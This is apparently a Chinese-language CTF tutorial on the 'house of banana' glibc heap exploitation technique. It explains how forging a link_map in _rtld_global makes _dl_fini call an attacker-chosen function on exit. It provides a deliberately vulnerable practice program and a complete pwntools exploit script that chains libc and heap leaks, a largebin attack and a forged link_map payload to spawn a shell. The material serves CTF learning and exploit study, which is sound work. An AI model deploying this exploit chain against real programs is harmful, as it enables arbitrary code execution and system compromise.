House of banana
house of banana是星盟的HA1VK师傅最开始发现的一种攻击方式,也是一个非常方便的攻击方法(应该是直到2.36都可以使用),利用的条件也比较少,程序能够显式的执行exit函数或者通过libc_start_main启动的主函数,且主函数能够结束,这两个条件满足其中之一就可以了,再就是可以进行largebin attack和堆地址,libc地址的泄露
因为how2heap上面没有给对应的poc,所以我们这次就从源代码触发来解释一下这种攻击方式
原理解析
不同于io劫持虚表,banana劫持的是rtld_global这个结构体,而在我们利用exit结束程序的时候,程序会调用这个结构体,来进行一些恢复之类的操作
而严格来说,我们攻击的是这个结构体里面的link_map 指针(高版本是对其有保护的,后面再说),和曾经的exit_hook攻击很像,但是exit_hook在2.34之后就已经没有写权限了,所以失效了
结构体相当复杂
struct rtld_global
{
#endif
/* Don't change the order of the following elements. 'dl_loaded'
must remain the first element. Forever. */
/* Non-shared code has no support for multiple namespaces. */
#ifdef SHARED
# define DL_NNS 16
#else
# define DL_NNS 1
#endif
EXTERN struct link_namespaces
{
/* A pointer to the map for the main map. */
struct link_map *_ns_loaded;
/* Number of object in the _dl_loaded list. */
unsigned int _ns_nloaded;
/* Direct pointer to the searchlist of the main object. */
struct r_scope_elem *_ns_main_searchlist;
/* This is zero at program start to signal that the global scope map is
allocated by rtld. Later it keeps the size of the map. It might be
reset if in _dl_close if the last global object is removed. */
unsigned int _ns_global_scope_alloc;
/* During dlopen, this is the number of objects that still need to
be added to the global scope map. It has to be taken into
account when resizing the map, for future map additions after
recursive dlopen calls from ELF constructors. */
unsigned int _ns_global_scope_pending_adds;
/* Once libc.so has been loaded into the namespace, this points to
its link map. */
struct link_map *libc_map;
/* Search table for unique objects. */
struct unique_sym_table
{
__rtld_lock_define_recursive (, lock)
struct unique_sym
{
uint32_t hashval;
const char *name;
const ElfW(Sym) *sym;
const struct link_map *map;
} *entries;
size_t size;
size_t n_elements;
void (*free) (void *);
} _ns_unique_sym_table;
/* Keep track of changes to each namespace' list. */
struct r_debug _ns_debug;
} _dl_ns[DL_NNS];
/* One higher than index of last used namespace. */
EXTERN size_t _dl_nns;
.................................................................................
};
大概长这个样子(虽然但是,其实可以不看)
而这个结构体里面存放的是elf文件各段的符号结构体_dl_ns,而这个符号结构体里面又套的有结构体,我们关注的是里面的fini_array段的动态链接结构体指针,而这个指针又会在 _dl_fini中被使用
当调用到_dl_fini函数时,会执行每个 中注册的 fini 函数
void
_dl_fini (void)
{
...
struct link_map *maps[nloaded];
unsigned int i;
struct link_map *l;
assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
/* Do not handle ld.so in secondary namespaces. */
if (l == l->l_real) //检查节点的地址是否跟自己结构体保存的一致
{
assert (i < nloaded);
maps[i] = l;
l->l_idx = i;
++i;
/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
unsigned int nmaps = i;
_dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
NULL, true);
__rtld_lock_unlock_recursive (GL(dl_load_lock));
for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i]; //l遍历link_map的链表
if (l->l_init_called) //重要的检查点
{
l->l_init_called = 0;
/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
DSO_FILENAME (l->l_name),
ns);
/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) (); //目标位置
}
....
}
可以看到,重点在于((fini_t) array[i]) (); 这一行,这一行会把fini_t结构体里面的array[i]当成一个函数来调用,所以我们完全可以在这里填上我们的one_gadget,这样程序在结束的时候就可以执行我们的one_gadget,从而getshell(当然,远不止这一种用法)
当然这上面说的一切都在我们的link_map结构体里面,所以我们的重点在于link_map这个结构体
这个结构体长这个样子,太长了,甚至得好几张截图,所以这里我就不放了,我们的重点在于我高亮的地方,
_ns_loaded =0x7ffff7e2b170,这个地方就是上面说的link_map链表头的位置,后面的ns_nloaded = 4,这个代表链表的节点个数,也就是有几个这样的链表,要注意的是,这里是不可以小于4的,不然就绕不过检查了
我们先进去link_map结构体看看
pwndbg> p *(struct link_map *) 0x7ffff7e2b170
$2 = {
l_addr = 93824990838784,
l_name = 0x7ffff7e2b700 "",
l_ld = 0x555555601d90,
l_next = 0x7ffff7e2b710,
l_prev = 0x0,
l_real = 0x7ffff7e2b170,
l_ns = 0,
l_libname = 0x7ffff7e2b6e8,
l_info = {0x0, 0x555555601d90, 0x555555601e70, 0x555555601e60, 0x0, 0x555555601e10, 0x555555601e20, 0x555555601ea0, 0x555555601eb0, 0x555555601ec0, 0x555555601e30, 0x555555601e40, 0x555555601da0, 0x555555601db0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x555555601e80, 0x555555601e50, 0x0, 0x555555601e90, 0x555555601ee0, 0x555555601dc0, 0x555555601de0, 0x555555601dd0, 0x555555601df0, 0x0, 0x555555601ed0, 0x0, 0x0, 0x0, 0x555555601f00, 0x555555601ef0, 0x0, 0x0, 0x555555601ee0, 0x0, 0x555555601f20, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x555555601f10, 0x0 <repeats 25 times>, 0x555555601e00},
l_phdr = 0x555555400040,
l_entry = 93824990840880,
l_phnum = 12,
l_ldnum = 0,
l_searchlist = {
r_list = 0x7ffff7ff7580,
r_nlist = 3
},
l_symbolic_searchlist = {
r_list = 0x7ffff7e2b6e0,
r_nlist = 0
},
l_loader = 0x0,
l_versions = 0x7ffff7ff75a0,
l_nversions = 5,
l_nbuckets = 3,
l_gnu_bitmask_idxbits = 0,
l_gnu_shift = 6,
l_gnu_bitmask = 0x5555556032a0,
{
l_gnu_buckets = 0x5555556032a8,
l_chain = 0x5555556032a8
},
{
l_gnu_chain_zero = 0x55555560327c,
l_buckets = 0x55555560327c
},
l_direct_opencount = 1,
l_type = lt_executable,
l_relocated = 1,
l_init_called = 1,
l_global = 1,
l_reserved = 0,
l_phdr_allocated = 0,
l_soname_added = 0,
l_faked = 0,
l_need_tls_init = 0,
l_auditing = 0,
l_audit_any_plt = 0,
l_removed = 0,
l_contiguous = 0,
l_symbolic_in_local_scope = 0,
l_free_initfini = 0,
l_rpath_dirs = {
dirs = 0xffffffffffffffff,
malloced = 0
},
l_reloc_result = 0x0,
l_versyms = 0x555555400548,
l_origin = 0x0,
l_map_start = 93824990838784,
l_map_end = 93824992952336,
l_text_end = 93824990842968,
l_scope_mem = {0x7ffff7e2b428, 0x0, 0x0, 0x0},
l_scope_max = 4,
l_scope = 0x7ffff7e2b4c8,
l_local_scope = {0x7ffff7e2b428, 0x0},
l_file_id = {
dev = 0,
ino = 0
},
l_runpath_dirs = {
dirs = 0xffffffffffffffff,
malloced = 0
},
l_initfini = 0x7ffff7ff7560,
l_reldeps = 0x0,
l_reldepsmax = 0,
l_used = 1,
l_feature_1 = 0,
l_flags_1 = 134217729,
l_flags = 8,
l_idx = 0,
l_mach = {
plt = 0,
gotplt = 0,
tlsdesc_table = 0x0
},
l_lookup_cache = {
sym = 0x555555603200,
type_class = 1,
value = 0x7ffff7ff7000,
ret = 0x7ffff7804b58
},
l_tls_initimage = 0x0,
l_tls_initimage_size = 0,
l_tls_blocksize = 0,
l_tls_align = 0,
l_tls_firstbyte_offset = 0,
l_tls_offset = 0,
l_tls_modid = 0,
l_tls_dtor_count = 0,
l_relro_addr = 2104704,
l_relro_size = 640,
l_serial = 0,
l_audit = 0x7ffff7e2b5e0
}
也是相当长,我这里截图放不下,所以直接复制下来了
这里就是我们要伪造的地方了,首先看l_next = 0x7ffff7e2b710这一句,这一句指向的是下一个link_map,然后是 l_real = 0x7f56e43ba220 , 指向的自身的地址,这里也是后面需要检查的地方。l_init_called = 1, 简单说,就是为了绕过检查
我们先总结一下现在知道什么,首先,house of banana的利用基础就是在于伪造_rtld_globa结构体里面用ns_loaded所连接的四个link_map结构体,最终是在于link_map里面,伪造其中的一些数据,最终执行((fini_t) array[i]) ()
最开始的利用其实是基于第一个link_map结构体,但是那样需要伪造四个,太麻烦了,所以我们完全可以伪造第三个link_map的_ns_loaded,把这个数据改成我们伪造的堆块,在堆块里面伪造第四个link_map
来看看保护
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
/* Do not handle ld.so in secondary namespaces. */
// -------------------check0--------------------------------
if (l == l->l_real)
// -------------------check0--------------------------------
{
assert (i < nloaded);
maps[i] = l;
l->l_idx = i;
++i;
/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
因为我们必须有四个link_map结构体,所以我们需要找到第三个节点的位置,伪造他的next段
pwndbg> p &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)
$3 = (struct link_map **) 0x7ffff7ff7018
只要在gdb里面输入这一行,就可以看到第三个结构体的位置,计算出相对于libc的偏移
为了绕过上面的maps[i] = l这一行,我们必须在伪造的结构体(假设伪造的结构体为fake)加上0x28的位置上面填上自己的地址,也就是fake+0x28=fake
其次
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */
for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i];
// -------------------check1--------------------------------
if (l->l_init_called)
// -------------------check1--------------------------------
{
/* Make sure nothing happens if we are called twice. */
l->l_init_called = 0;
/* Is there a destructor function? */
// -------------------check2--------------------------------
if (l->l_info[26] != NULL
|| l->l_info[DT_FINI] != NULL)
// -------------------check2--------------------------------
{
....
// -------------------check3--------------------------------
if (l->l_info[26] != NULL)
// -------------------check3--------------------------------
{
array = (l->l_addr + l->l_info[26]->d_un.d_ptr);
i = (l->l_info[28]->d_un.d_val / 8));
while (i-- > 0)
((fini_t) array[i]) ();
}
...
}
}
}
这个位置也是有检查的,对于check1,l->l_init_called,这个位置其实是要大于8的
unsigned int l_relocated:1; /* Nonzero if object's relocations done. */
unsigned int l_init_called:1; /* Nonzero if DT_INIT function called. */
unsigned int l_global:1; /* Nonzero if object in _dl_global_scope. */
unsigned int l_reserved:2; /* Reserved for internal use. */
unsigned int l_phdr_allocated:1; /* Nonzero if the data structure pointed
to by `l_phdr' is allocated. */
unsigned int l_soname_added:1; /* Nonzero if the SONAME is for sure in
但是具体的值需要查一下,因为各个版本内容不同
pwndbg> distance _rtld_global._dl_ns[0]._ns_loaded &(_rtld_global._dl_ns[0]._ns_loaded)->l_init_called
0x7ffff7e2b170->0x7ffff7e2b484 is 0x314 bytes (0x62 words)
pwndbg> x/wx &(_rtld_global._dl_ns[0]._ns_loaded)->l_init_called
0x7ffff7e2b484: 0x0000001c
可以输入这两行,也就是说在我们的fake+0x314的位置填上0x1c即可
对于check2和3,只需l->l_info[DT_FINI_ARRAY] != NULL 便可绕过
pwndbg> distance (_rtld_global._dl_ns[0]._ns_loaded) &((_rtld_global._dl_ns[0]._ns_loaded)->l_info[26])
0x7ffff7ffe168->0x7ffff7ffe278 is 0x110 bytes (0x22 words)
在fake+0x110 写入的内容会直接控制array
pwndbg> distance (_rtld_global._dl_ns[0]._ns_loaded) &((_rtld_global._dl_ns[0]._ns_loaded)->l_info[28])
0x7ffff7ffe168->0x7ffff7ffe288 is 0x120 bytes (0x24 words)
在fake+0x120写入的内容会控制i
只要把fake+0x120,fake+0x110 控制好就可以控制最后的((fini_t) array[i]) ();这是正常执行fini_array的流程,所以我们照着此进行伪造。
pwndbg> p/x *((_rtld_global._dl_ns[0]._ns_loaded)->l_info[26])
$16 = {
d_tag = 0x1a,
d_un = {
d_val = 0x600e18,
d_ptr = 0x600e18
}
}
pwndbg> p/x ((_rtld_global._dl_ns[0]._ns_loaded)->l_info[26])->d_un.d_ptr
$18 = 0x600e18
pwndbg> telescope 0x600e18
00:0000│ 0x600e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x400840 (__do_global_dtors_aux) ◂— cmp byte ptr [rip + 0x200849], 0
01:0008│ 0x600e20 (__JCR_LIST__) ◂— 0x0
02:0010│ 0x600e28 (_DYNAMIC) ◂— 0x1
... ↓
04:0020│ 0x600e38 (_DYNAMIC+16) ◂— 0xc /* '\x0c' */
05:0028│ 0x600e40 (_DYNAMIC+24) —▸ 0x400680 (_init) ◂— sub rsp, 8
06:0030│ 0x600e48 (_DYNAMIC+32) ◂— 0xd /* '\r' */
07:0038│ 0x600e50 (_DYNAMIC+40) —▸ 0x400b14 (_fini) ◂— sub rsp, 8
pwndbg> p/x *((_rtld_global._dl_ns[0]._ns_loaded)->l_info[28])
$19 = {
d_tag = 0x1c,
d_un = {
d_val = 0x8,
d_ptr = 0x8
}
}
这是正常执行时候的流程,可以总结一下
借用cat03师傅的总结
需要在fake+0x110写入一个ptr,且ptr+0x8处有ptr2,ptr2处写入的是最后要执行的函数地址.
需要在fake+0x120写入一个ptr,且ptr+0x8处是i*8。
我选择的是fake+0x110写入fake+0x40,在fake+0x48写入fake+0x58,在fake+0x58写入shell
我选择在fake+0x120写入fake+0x48,在fake+0x50处写入8。
综上所述
劫持
&(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next) = fake
check0
fake+0x28 = fake
check1
fake+0x314 = 0x1c
控制array
fake+0x110 = fake+0x40
fake+0x48 = fake+0x58
fake+0x58 = shell
控制i
fake+0x120 = fake+0x48
fake+0x50 = 8
另外,最终执行的是,array[i]) ()其在一个while循环中,所以只要把i构造恰当,那么就可完成些不太严谨的ROP
例题-getshell
我们来看看题目
我这里借用ZIKH26师傅的源代码,自己编译了一下,然后自己写了一遍
//gcc test.c -o test -w -g
//ubuntu 18.04 GLIBC 2.27-3ubuntu1.6
#include<stdio.h>
#include <unistd.h>
#define num 10
void *chunk_list[num];
int chunk_size[num];
void init()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}
void menu()
{
puts("1.add");
puts("2.show");
puts("3.edit");
puts("4.delete");
puts("5.exit");
puts("Your choice:");
}
int add()
{
int index,size;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
puts("Size:");
scanf("%d",&size);
if(size<0x80||size>0x500)
exit(1);
chunk_list[index] = calloc(size,1);
chunk_size[index] = size;
}
int edit()
{
int index;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
puts("context: ");
read(0,chunk_list[index],chunk_size[index]);
}
int delete()
{
int index;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
free(chunk_list[index]);
}
int show()
{
int index;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
puts("context: ");
puts(chunk_list[index]);
}
int main()
{
int choice;
init();
while(1){
menu();
scanf("%d",&choice);
if(choice==5){
exit(0);
}
else if(choice==1){
add();
}
else if(choice==2){
show();
}
else if(choice==3){
edit();
}
else if(choice==4){
delete();
}
}
}
这是源代码,我用的libc是2.27-3ubuntu1.6,保护全开
泄露libc和堆地址的操作我就不说了,利用largebin泄露就行
from pwn import *
context.log_level='debug'
io=process('./pwn')
elf=ELF('./pwn')
libc=ELF('libc-2.27.so')
def dbg():
gdb.attach(io)
def add(index,size):
io.sendlineafter('Your choice:\n', str(1))
io.sendlineafter('index:\n', str(index))
io.sendlineafter("Size:\n", str(size))
def show(index):
io.sendlineafter('Your choice:\n', str(2))
io.sendlineafter('index:\n', str(index))
def edit(index, content):
io.sendlineafter('Your choice:\n', str(3))
io.sendlineafter('index:\n', str(index))
io.sendafter("context: \n",content)
def free(index):
io.sendlineafter('Your choice:\n', str(4))
io.sendlineafter('index:\n', str(index))
add(0,0x428)
add(1,0x500)
add(2,0x418)
free(0)
add(3,0x500)
show(0)
libc_base=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3ec090
print(hex(libc_base))
edit(0,b'a'*0x10)
show(0)
io.recvuntil(b'a'*0x10)
heap_base=u64(io.recv(6).ljust(8,b'\x00'))-0x250
print(hex(heap_base))
rtld_global=libc_base+0x62a060
link_map3=rtld_global+0x1ccfb8#用上面的语句直接找就行
one_gadget=libc_base+0x4f302
我们把重点放在largebin attack和link_map的伪造上面
这是现在的堆块情况,因为0号堆块的fd和bk都被我们改成1了,所以这个时候它会从largebin里面摘出来
从第一个0x430往后的堆块分别是0,1,2,3
我这里放上largebin(2.31之前)的模版
准备工作:首先需要准备两个不同大小的chunk,确保它们属于同一个large bin。一个chunk(如p1)稍大,另一个chunk(如p2)稍小。还需要几个保护chunk(g1和g2)防止合并操作。
c复制代码size_t *p1 = malloc(0x428); // 大chunk
size_t *g1 = malloc(0x18); // 保护chunk
size_t *p2 = malloc(0x418); // 小chunk
size_t *g2 = malloc(0x18); // 保护chunk
释放大chunk:将较大的chunk(p1)释放,这会将其放入large bin中。
free(p1);
分配一个更大的chunk:分配一个比p1稍大的chunk(g3),以确保p1进入large bin。
size_t *g3 = malloc(0x438); // 分配一个大于p1的chunk
释放小chunk:释放较小的chunk(p2),它会进入unsorted bin。
free(p2);
修改bk_nextsize指针:将p1的bk_nextsize
指针修改为目标地址减去一个偏移量(如-0x20)。
p1[3] = (size_t)((&target)-4); // 修改bk_nextsize指针
触发攻击:最后,分配一个大于p2的chunk(g4),使p2进入large bin,触发large bin attack。
size_t *g4 = malloc(0x438); // 触发攻击
根据这个模版,编辑0号堆块(也就是这个大堆块)的bk_next指针为link_map-0x20,然后再申请一个0x500大小的堆块,把2号放进largebin里面,就完成了我们的攻击
free(2)
edit(0,p64(libc_base+0x3ec090)*2+p64(heap_base+0x250)+p64(link_map3-0x20))
add(4,0x500)
这时候link_map3里面的I_next就被改成我们的2号堆块的地址了
我们按照上面的伪造link_map4
fake_addr=heap_base+0xb90
payload = p64(0)*3 + p64(fake_addr)
payload = payload.ljust(0x48-0x10,b'\x00')+p64(fake_addr+0x58)+p64(8)+p64(one_gadget)
payload = payload.ljust(0x110-0x10,b'\x00')+p64(fake_addr+0x40)
payload = payload.ljust(0x120-0x10,b'\x00')+p64(fake_addr+0x48)
payload = payload.ljust(0x314-0x10,b'\x00')+p64(0x1c)
因为我们的堆块是从date段开始写的,所以我们都需要减去0x10
from pwn import *
context.log_level='debug'
io=process('./pwn')
elf=ELF('./pwn')
libc=ELF('libc-2.27.so')
def dbg():
gdb.attach(io)
def add(index,size):
io.sendlineafter('Your choice:\n', str(1))
io.sendlineafter('index:\n', str(index))
io.sendlineafter("Size:\n", str(size))
def show(index):
io.sendlineafter('Your choice:\n', str(2))
io.sendlineafter('index:\n', str(index))
def edit(index, content):
io.sendlineafter('Your choice:\n', str(3))
io.sendlineafter('index:\n', str(index))
io.sendafter("context: \n",content)
def free(index):
io.sendlineafter('Your choice:\n', str(4))
io.sendlineafter('index:\n', str(index))
add(0,0x428)
add(1,0x500)
add(2,0x418)
free(0)
add(3,0x500)
show(0)
libc_base=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3ec090
print(hex(libc_base))
edit(0,b'a'*0x10)
show(0)
io.recvuntil(b'a'*0x10)
heap_base=u64(io.recv(6).ljust(8,b'\x00'))-0x250
print(hex(heap_base))
rtld_global=libc_base+0x62a060
link_map3=rtld_global+0x1ccfb8
one_gadget=libc_base+0x4f302
print(hex(link_map3))
free(2)
edit(0,p64(libc_base+0x3ec090)*2+p64(heap_base+0x250)+p64(link_map3-0x20))
add(4,0x500)
fake_addr=heap_base+0xb90
payload = p64(0)*3 + p64(fake_addr)
payload = payload.ljust(0x48-0x10,b'\x00')+p64(fake_addr+0x58)+p64(8)+p64(one_gadget)
payload = payload.ljust(0x110-0x10,b'\x00')+p64(fake_addr+0x40)
payload = payload.ljust(0x120-0x10,b'\x00')+p64(fake_addr+0x48)
payload = payload.ljust(0x314-0x10,b'\x00')+p64(0x1c)
edit(2,payload)
io.sendlineafter('Your choice:\n', str(5))
io.interactive()
#dbg()
io.interactive()
这是完整代码
可以看到,我们拿到了shell
参考文章
https://dreamkecat.github.io/2022/06/03/%E9%AB%98%E7%89%88%E6%9C%ACglibc%E5%A0%86%E7%9A%84%E5%87%A0%E7%A7%8D%E5%88%A9%E7%94%A8%E6%89%8B%E6%B3%95/
https://giles-one.github.io/2021/10/04/house-of-%E7%B3%BB%E5%88%97%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90/index.html